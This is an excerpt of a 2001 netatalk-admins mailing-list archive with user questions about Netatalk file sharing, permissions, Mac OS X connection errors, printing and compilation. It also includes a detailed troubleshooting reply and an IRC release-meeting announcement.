	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 22:29:13 -0500 (EST)
Message-ID: <3BFB1F87.6020000@rickbragg.net>
Date: Tue, 20 Nov 2001 22:29:11 -0500
From: Rick Bragg <rbragg@rickbragg.net>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4) Gecko/20011022 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Wed Nov 21 03:43:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA24587
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Nov 2001 03:43:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA17682
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Nov 2001 03:43:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA17665
	for netatalk.administrators-members@umich.edu; Wed, 21 Nov 2001 03:43:12 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA17630
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 03:43:10 -0500 (EST)
Received: from tc06-n66-026.de.inter.net ([213.73.66.26] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 166SyL-000283-00; Wed, 21 Nov 2001 09:43:09 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id HAA26628;
	Wed, 21 Nov 2001 07:22:44 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: remove
Date: Wed, 21 Nov 2001 07:19:51 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3BFB185C.1000406@rickbragg.net>
In-Reply-To: <3BFB185C.1000406@rickbragg.net>
Cc: Rick Bragg <rbragg@rickbragg.net>
MIME-Version: 1.0
Message-Id: <01112107224301.26445@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA24587

On Wed, 21 Nov 2001, Rick Bragg wrote:
> remove

What?

I won't!

Please explain if you insist!

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Nov 21 07:03:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA00801
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Nov 2001 07:03:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA02530
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Nov 2001 07:03:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA02513
	for netatalk.administrators-members@umich.edu; Wed, 21 Nov 2001 07:03:07 -0500 (EST)
Received: from orion2.ign.com.au (orion2.ign.com.au [203.30.192.3])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA02302
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 07:02:57 -0500 (EST)
Received: from ign.com.au (shanep@usr2-ppp08.ign.com.au [203.30.192.124])
	by orion2.ign.com.au (8.11.2/8.11.2) with ESMTP id fALA3gm10879
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 21:03:47 +1100
Sender: shanep@orion2.ign.com.au
Message-ID: <3BFB97DA.767A52CE@ign.com.au>
Date: Wed, 21 Nov 2001 23:02:34 +1100
From: Shane Pearson <shanep@ign.com.au>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.14-pre7 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <3BED08C5.15F726B1@ign.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi guys,

I've set up a Debian 2.2r4 server with Netatalk and
Samba, to service these rooms including Samba's
veto files options.

The IBM's see the server and so do the Macs.
Permissions are fine for the IBM's (students have
read only access), but I'm trying to get the same
for the Apples.

Is there an easy way to allow Admin staff (with
Apples) to have write access to the Linux server
while the student Apple machines only have R/O?

I've tried a few things, and searched the net,
docs etc, but can't get it going. Is there some
really verbose doco for Netatalk hiding somewhere
that I missed?


PS, also, I've hit a big snag with one of the staff
machines that I hope someone will know how to fix.
I set my boss G3 PowerMac (ouch) to use Multiple
Logins, in the hope that I could somehow setup
another login ("safely":) that would get onto the
Linux server with something other than "nobody", and
thus set write permissions through Linux....well...

She has'nt used a password on her machine for 3
years or so and now it's asking for her password
if I choose her profile at login, she usually gets
in without a password prompt. And the profile I
set up has limited privs on her machine and cannot
undo what I have done. Yikes.

Can I crack her local passwords or have I been
spoiled by Microsoft in the past?	; )
Please tell me there is a L0pht Crack for Macs!

Many thanks,

Bye for now.

From netatalk.administrators-errors@umich.edu  Wed Nov 21 11:15:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10139
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Nov 2001 11:14:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA08135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Nov 2001 11:14:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA08112
	for netatalk.administrators-members@umich.edu; Wed, 21 Nov 2001 11:14:59 -0500 (EST)
Received: from jason04.u.washington.edu (jason04.u.washington.edu [140.142.8.53])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA08068
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 11:14:57 -0500 (EST)
Received: from homer06.u.washington.edu (homer06.u.washington.edu [140.142.15.40])
	by jason04.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fALGEuP14718
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 08:14:56 -0800
Received: from localhost (cent@localhost)
	by homer06.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fALGEto107188
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 08:14:55 -0800
Date: Wed, 21 Nov 2001 08:14:55 -0800 (PST)
From: Bob Cent <cent@u.washington.edu>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: folder permissions
Message-ID: <Pine.A41.4.33.0111200613080.116868-100000@homer06.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi,

I would like to change the default permissions used when
creating a new folder through Netatalk.

It would seem that this could be affected by altering
/etc/atalk/AppleVolumes.default.  Correct?

Right now, new folders have these permissions:

  drwx--S---

I'd like them to be:

  drwx------

I thought I could do that by using the "allow" command in
AppleVolumes.default, but my first efforts did not work.  I may
not know how to properly use the command.  Please advise.
Thanks!

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________




From netatalk.administrators-errors@umich.edu  Wed Nov 21 18:09:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00498
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Nov 2001 18:09:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA24085
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Nov 2001 18:09:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA24073
	for netatalk.administrators-members@umich.edu; Wed, 21 Nov 2001 18:09:52 -0500 (EST)
Received: from mail12.svr.pol.co.uk (mail12.svr.pol.co.uk [195.92.193.215])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA24051
	for <netatalk-admins@umich.edu>; Wed, 21 Nov 2001 18:09:50 -0500 (EST)
Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk)
	by mail12.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 166gV3-0002LG-00
	for netatalk-admins@umich.edu; Wed, 21 Nov 2001 23:09:49 +0000
Received: from modem-224.nevada.dialup.pol.co.uk ([62.137.79.224] helo=weebeastie)
	by mail18.svr.pol.co.uk with smtp (Exim 3.13 #0)
	id 166gV3-000794-00
	for netatalk-admins@umich.edu; Wed, 21 Nov 2001 23:09:49 +0000
From: "// kerin  |  b o c u m a . c o m  |" <kerin@bocuma.com>
To: <netatalk-admins@umich.edu>
Subject: NEWBIE:: OSX sharing from RH7.1
Date: Wed, 21 Nov 2001 23:13:16 -0000
Message-ID: <CPEKLDJPHBBJILCLIMONMEKCCGAA.kerin@bocuma.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Hi everyone,

I've recently installed a RH7.1 box on our AppleTalk network to act as a dev
server (Apache, PHP, mySQL etc etc). As we're a Mac outfit I naturally
installed netatalk so that we could write to the Apache servers directory.

I managed to install and setup netatalk with no trouble at all, despite
being something of a Linux newbie. All of the OS9 machines can read and
write shares without any hassle.

However, when I try to connect to the netatalk share using my OSX machine, I
get an error along the lines of "this server is hosted on this local
machine. Please browse the files and folders locally". This is really
strange, and nothing I've tried has made any difference whatsoever. Whats
annoying is that on my first install of RH and netatalk (which I hosed
pretty rapidly), I could connect using OSX straightaway. I've been playing
with NFS on the Linux side, and I've had no joy with that either.

Has anybody had any experience with this? Or know what could be causing it?

Many thanks,
// Kerin Cosford
// bocuma ltd.
//
// T : 020 7684 4209
// M : 07748 013 534


From netatalk.administrators-errors@umich.edu  Thu Nov 22 02:06:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA16112
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Nov 2001 02:06:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA06254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Nov 2001 02:06:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA06237
	for netatalk.administrators-members@umich.edu; Thu, 22 Nov 2001 02:06:46 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA06183
	for <netatalk-admins@umich.edu>; Thu, 22 Nov 2001 02:06:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA02788;
	Thu, 22 Nov 2001 08:28:41 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 22 Nov 2001 08:06:38 +0100
Subject: Re: NEWBIE:: OSX sharing from RH7.1
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <kerin@bocuma.com>, <netatalk-admins@umich.edu>
Message-ID: <B822628D.14F25%Thomas.Kaiser@phg-online.de>
In-Reply-To: <CPEKLDJPHBBJILCLIMONMEKCCGAA.kerin@bocuma.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA16112

am 22.11.2001 0:13 Uhr schrieb // kerin  |  b o c u m a . c o m  |:

> All of the OS9 machines can read and write shares without any hassle.

I assume they are connected via AppleTalk, aren't they (ask the 'get info'
dialog vor one of the mounted volumes)

> However, when I try to connect to the netatalk share using my OSX machine, I
> get an error along the lines of "this server is hosted on this local
> machine. Please browse the files and folders locally".

This OSX machine is 10.1.x not 10.0.x, true?

This seems to happen:

You connect to the server either via AppleTalk (via [command]-[k] or 'mount
-t afp afp:/at/...'). Once the mac can reach the server it sends out an
FPGetSrvInfo request to get informations from the server. The server
supplies it's name, the User Authentication Modules it supports, etc. And
also a *list* with possible connection methods:

One will be AppleTalk/NBP-Name, one will be AFPoverTCP/IP-Address/Port

Recent AppleShare-Clients will always prefer to establish the AFP connection
itself over TCP. So your MacOS X machine will try to connect to the supplied
IP-address, which will be in your case '127.0.0.1' or the same IP-address
than the one of the MacOS X machine itself (check your afpd.conf on the
server). MacOS X 10.1.x is different from earlier versions and checks
whether the ip address of an afp server is 'valid'. In the case MacOS X
'detects' that one tries to connect to the machine itself (either by
'127.0.0.1' or by any of the local IP-addresses) it will refuse the
connection with the message, you supplied. Older versions tried to establish
the connection to the servers' address and, in case it didn't work, tried to
connect via AppleTalk, too (which worked)

> This is really strange, and nothing I've tried has made any difference
> whatsoever. 

Two methods to debug:

As Leland wrote before:

| From the terminal in Mac OS X type:
|    setenv AFP_DEBUG_LEVEL 8
|    mkdir /Volumes/volname
|   /sbin/mount -t afp afp://username:password@servername/volume \
| /Volumes/volname
| 
| replacing username, password, servername, volume, and volname with your
| local names

This will give you a few hints, what the server supplies as its addresses.

Or you try asip-status.pl from here, which sends out an FPGetSrvInfo request
and dumps the output: 'asip-status.pl [netatalk's ip-address]'

<http://www.jammed.com/~jwa/hacks/security/asip/>

> Whats annoying is that on my first install of RH and netatalk (which I hosed
> pretty rapidly), I could connect using OSX straightaway.

Have you tried it with 10.0.x? And now with 10.1.x?

> I've been playing with NFS on the Linux side, and I've had no joy with
> that either.

Well, if you use Nightmare Filesystem, then the MacOS X machines will store
ressource forks in a different way, than Netatalk does. So files from MacOS
X boxes won't be fully functional for MacOS 7.x/8.x/9.x clients and vice
versa.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Nov 22 22:40:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA23502
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Nov 2001 22:40:03 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA17296
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Nov 2001 22:40:03 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA17283
	for netatalk.administrators-members@umich.edu; Thu, 22 Nov 2001 22:40:02 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA17233
	for <netatalk-admins@umich.edu>; Thu, 22 Nov 2001 22:40:00 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id NAA01887
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 13:40:11 +1000 (EST)
Message-ID: <3BFDC5B1.33176FBB@qimr.edu.au>
Date: Fri, 23 Nov 2001 13:42:41 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Bad ATP request
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

Does anyone know how to fix the following problem
(netatalk-1.4b2+asun2.1.4 on Solaris 8) ?

Nov 23 13:02:24 host papd[16418]: [ID 896113 lpr.error] Bad ATP request!

Nov 23 13:08:12 host papd[16418]: [ID 896113 lpr.error] Bad ATP request!

Nov 23 13:14:42 host papd[16418]: [ID 896113 lpr.error] Bad ATP request!

Nov 23 13:21:24 host papd[16418]: [ID 896113 lpr.error] Bad ATP request!

Nov 23 13:28:12 host papd[16418]: [ID 896113 lpr.error] Bad ATP request!

Sample of papd.conf for printers are

HPLJ5M lpJ1:\
       :pr=|/usr/bin/lp -d lpJ1:\
       :op=daemon:\
       :pd=/opt/atalk/etc/ppd/laserjet5m.ppd


Thanks in advance!

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Thu Nov 22 23:10:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA24439
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Nov 2001 23:10:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA12451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Nov 2001 23:10:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA12442
	for netatalk.administrators-members@umich.edu; Thu, 22 Nov 2001 23:10:09 -0500 (EST)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA12401
	for <netatalk-admins@umich.edu>; Thu, 22 Nov 2001 23:10:07 -0500 (EST)
Received: from faxserver ([63.34.214.49]) by mta01.mail.mel.aone.net.au
          with ESMTP
          id <20011123040944.GFTH26468.mta01.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 15:09:44 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 1677dN-00022D-00
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 15:08:16 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 23 Nov 2001 15:08:12 +1100
Subject: Can't access second server
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B82416DC.2ED8%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

I have a successful netatalk server running on the network. I have set up
another Linux (Debian) box with 1.5 pre 8 for testing, so I don't disturb
our working set up. I can compile and start the services and nbplkup :=
shows that AFPServer, netatalk, and Workstation running on the test machine,
but nothing on the wider network shows nor does the test machine show up in
the chooser of Macs on the network.

Any suggestions for troubleshooting?

TIA
Nigel


From netatalk.administrators-errors@umich.edu  Fri Nov 23 02:50:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA01644
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 02:50:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA01075
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 02:50:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA01069
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 02:50:10 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA01051
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 02:50:09 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fAN7o4008173
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 08:50:04 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAN7o3Z6011343
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 08:50:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAN7o3j7011342
	for netatalk-admins@umich.edu; Fri, 23 Nov 2001 08:50:03 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 167B1V-0002ES-00; Fri, 23 Nov 2001 08:45:21 +0100
Date: Fri, 23 Nov 2001 08:45:09 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Reminder: IRC meeting Sat, 2001-11-23 (updated)
Message-ID: <20011123084509.A8531@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

                    Netatalk 1.5 Release Hacking Party
                    ==================================

Version 1.1.1 2001-11-22

Corrections, suggestions, and disagreement welcome. Please write to
netatalk-devel@lists.sourceforge.net or directly to srittau@debian.org.

Date/Place
----------

Sat, 24th November 2001 5pm (17:00) UTC. Feel free to show up earlier or
later. Channel #netatalk-devel on irc.openprojects.net.

Overview
--------

The Netatalk project meets in IRC at the date and place given above to
prepare for the next stable release. We will mainly try to build a release
that compiles and works on all supported platforms. We will also try to
discuss a few points concerning the future development and release
coordination of netatalk (see below).

Everybody is welcome to join us and help in the release effort.

To Do
-----

* Testing

  Main point of this meeting is to create a semi-stable tar-ball that
  compiles fine and works on all our supported platforms. See below for
  the platforms that netatalk will be tested on.

* Roadmap

  We should try to come up with a roadmap of what features should be
  in future versions of netatalk and should be concentrated on. We
  should also collect problem and bug reports of users. Things that
  didn't work in the past and that should be worked on.

* Sourceforge Tracker Review

  Netatalk's Sourceforge page employs several trackers: a bug tracker,
  a support request tracker, and a patch tracker. We should go through
  these reports, check their validity, and possibly fix or close them.

* Release Defaults

  We still have to agree on some of the default configuration with the
  new release. While it seems sensible to use the "last" DID scheme by
  default, we still have to discuss if we want to enable flock locks
  by default, and there may be further options that could be enabled
  by default.

* Discussion on release management

  There is still need to discuss the future release management. This concerns
  mainly the versioning scheme that should be employed in future (it was
  suggested to make this similar to the Linux kernel's versioning scheme)
  and the CVS branching and committing policies.

Testing Procedure
-----------------

The suggested testing procedure is as follows:

* I will create a first tar-ball out of the current semi-stable CVS tree.
  This should be downloaded by all testers and tried out.
* We will then collect all problems, try to come up with patches and I
  will integrate these patches into my local copy of netatalk and come
  up with another tar-ball.
* This will be repeated until compilation works for all tested platforms.
* Then I will check in all generated patches into CVS, set a tag and create
  release candidate 1.

The first testing tar-ball (1.5rc0.1) is now available at
http://me.in-berlin.de/~jroger/netatalk/. Please report problems with this
at the IRC meeting.

Participants
------------

The following people are likely to participate in the meeting. Please note
that everybody is welcome, and no registration in advance is required.

* Dallas Antley <dna+netatalk@clas.ufl.edu>
  Solaris 8 on Sparc 32bit (Sun Workshop 5), possibly NetBSD
* Stew Benedict <stewb@centurytel.net>
  Solaris 7 on Sparc20 (gcc)
* Joe Clarke <marcus@marcuscom.com>
  FreeBSD
* Steve Freitas <sflist@ihonk.com>
  Mandrake (Linux)
* Gus Holcomb <gus_holcomb@wgbh.org>
  Solaris
* Paul Krohn <pkrohn@daemonize.com>
  Solaris 8 on Ultra 5, Solaris 2.6 on Ultra 2 (dual processor) (gcc)
* Daniel Lautenschleger <dan@bocklabs.wisc.edu>
  SuSE Linux
* Alain Richard <alain.richard@equation.fr>
  RedHat 7.2, Yellowdog Linux 2.1 PPC
* Sebastian Rittau <srittau@debian.org>
  Debian GNU/Linux
* Burkhard Schmidt <bs@cpfs.mpg.de>
  Tru64
* Karen Swanberg <swanberg@tc.umn.edu>
  OpenBSD 2.9 and 3.0
* Axel Yu <yua@nycap.rr.com>
  RedHat Linux
* Craig Zimmerman <craigz@mac.com>
  MacOS X 10.1.1

We are still looking for volunteers for AIX, Ultrix, and SunOS.

Changes since 1.0.0
-------------------

* Adjusted participants list.
* Roadmap: Do also collect problem and bug reports.
* New To Do list entry: Sourceforge Tracker Review.
* Test tar balls now available.


From netatalk.administrators-errors@umich.edu  Fri Nov 23 04:44:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA04716
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 04:44:33 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA11031
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 04:44:33 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA11020
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 04:44:32 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id EAA11002
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 04:44:31 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 25111 invoked from network); 23 Nov 2001 09:43:16 -0000
Received: from smtp.morse.com (HELO mailgw1.morse.com) (195.152.231.118)
  by server-33.tower-1.london-2.starlabs.net with SMTP; 23 Nov 2001 09:43:16 -0000
Received: from bsexch1.morse.com (BSEXCH1 [10.10.202.3]) by mailgw1.morse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id WX0G3PQA; Fri, 23 Nov 2001 09:44:28 -0000
Received: by BSEXCH1 with Internet Mail Service (5.5.2653.19)
	id <X2N038HT>; Fri, 23 Nov 2001 09:39:39 -0000
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E470@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: compile problem 1.5pre8 on SUSE 7.1
Date: Fri, 23 Nov 2001 09:33:38 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I performed a 

./configure --prefix=/usr --sysconfdir=/etc/atalk --datadir=/etc/atalk
--bindir=/usr/bin --sbindir=/usr/sbin --sharedstatedir=/etc/atalk
--mandir=/usr/share/man --infodir=/usr/share/info
--program-transform-name=atalk --enable-shared=yes --enable-static=yes
--enable-afs --enable-suse --enable-fhs --with-pam --with-ssl-dir=/usr
--with-shadow --with-tcp-wrappers --with-did=last --with-flock-locks
--with-msg-dir=/etc/atalk/msg

which worke fine.

but when trying to perform a

make

it produces following error:

afs.c:18: afs/venus.h: No such file or directory
afs.c:19: afs/afsint.h: No such file or directory
make[4]: *** [afs.o] Error 1
make[4]: Leaving directory `/inst/netatalk-1.5pre8/etc/afpd'
make[3]: *** [all-recursive] Error 1
make[3]: Leaving directory `/inst/netatalk-1.5pre8/etc/afpd'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/inst/netatalk-1.5pre8/etc'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/inst/netatalk-1.5pre8'
make: *** [all-recursive-am] Error 2                  

Does anybody has an Idea, where I can find afs/venus.h etc. ?
Or who can provide me an rpm for suse 7.1 (or can tell me how to produce a
rpm in suse style)

thank you all

thomas


From netatalk.administrators-errors@umich.edu  Fri Nov 23 05:13:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
